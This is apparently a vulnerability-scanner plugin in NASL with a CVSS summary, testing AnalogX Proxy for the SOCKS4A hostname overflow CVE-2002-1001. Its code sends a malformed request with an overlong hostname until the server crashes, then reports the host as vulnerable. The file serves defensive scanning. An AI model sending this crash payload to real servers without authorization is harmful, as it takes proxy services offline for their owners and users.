CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
AI Score
Confidence
Low
EPSS
Percentile
96.3%
It was possible to kill the remote SOCKS4A server by
sending a request with a too long hostname.
# SPDX-FileCopyrightText: 2002 Michel Arboi
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.11126");
script_version("2023-07-21T05:05:22+0000");
script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/5138");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/5139");
script_tag(name:"cvss_base", value:"7.5");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_cve_id("CVE-2002-1001");
script_name("SOCKS4A Hostname Overflow DoS Vulnerability");
script_category(ACT_DENIAL);
script_copyright("Copyright (C) 2002 Michel Arboi");
script_family("Gain a shell remotely");
script_dependencies("socks.nasl");
script_require_ports("Services/socks4", 1080);
script_mandatory_keys("socks4/detected");
script_tag(name:"summary", value:"It was possible to kill the remote SOCKS4A server by
sending a request with a too long hostname.");
script_tag(name:"impact", value:"An attacker may exploit this vulnerability to make your SOCKS server
crash continually or even execute arbitrary code on your system.");
script_tag(name:"solution", value:"Upgrade your software.");
script_tag(name:"affected", value:"AnalogX Proxy version 4.07 and prior is known to be affected.
Other versions or products might be affected as well.");
script_tag(name:"solution_type", value:"VendorFix");
script_tag(name:"qod_type", value:"remote_analysis");
exit(0);
}
include("misc_func.inc");
include("port_service_func.inc");
port = service_get_port(default:1080, proto:"socks4");
soc = open_sock_tcp(port);
if(!soc)
exit(0);
hlen = 512; # 140 bytes are enough for AnalogX
# Connect to hostname on port 8080 (= 31*256+4)
cnx = raw_string(4, 1, 4, 31, 0, 0, 0, 1) + "vt-test" + raw_string(0) + crap(hlen) + raw_string(0);
for(i = 0; i < 6; i++) {
send(socket:soc, data:cnx);
r = recv(socket:soc, length:8, timeout:1);
close(soc);
soc = open_sock_tcp(port);
if(!soc) {
security_message(port);
exit(0);
} else {
close(soc);
}
}
exit(99);